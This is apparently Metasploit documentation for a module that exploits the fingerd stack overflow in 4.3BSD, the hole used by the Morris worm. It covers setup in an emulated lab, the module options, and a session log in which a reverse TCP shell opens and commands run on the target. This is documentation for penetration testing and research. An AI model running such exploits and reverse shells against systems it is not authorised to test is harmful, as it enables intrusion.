metasploit-gs/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md

Intro

This module exploits a stack buffer overflow in fingerd on 4.3BSD. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

Setup

A Docker environment for 4.3BSD on VAX is available at https://github.com/wvu/ye-olde-bsd.

For manual setup, please follow the Computer History Wiki's guide or Allen Garvin's guide if you're using Quasijarus.

Targets

Id  Name
--  ----
0   @(#)fingerd.c   5.1 (Berkeley) 6/6/85

Options

RPORT

Set this to the target port. The default is 79 for fingerd, but the port may be forwarded when NAT (SLiRP) is used in SIMH.

PAYLOAD

Set this to a BSD VAX payload. Currently only bsd/vax/shell_reverse_tcp is supported.

Usage

msf5 exploit(bsd/finger/morris_fingerd_bof) > options

Module options (exploit/bsd/finger/morris_fingerd_bof):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target address range or CIDR identifier
   RPORT   79               yes       The target port (TCP)


Payload options (bsd/vax/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.2      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   @(#)fingerd.c   5.1 (Berkeley) 6/6/85


msf5 exploit(bsd/finger/morris_fingerd_bof) > run

[*] Started reverse TCP handler on 192.168.1.2:4444
[*] 127.0.0.1:79 - Connecting to fingerd
[*] 127.0.0.1:79 - Sending 533-byte buffer
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500

whoami
nobody
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun  6 19:55:29 PDT 1986

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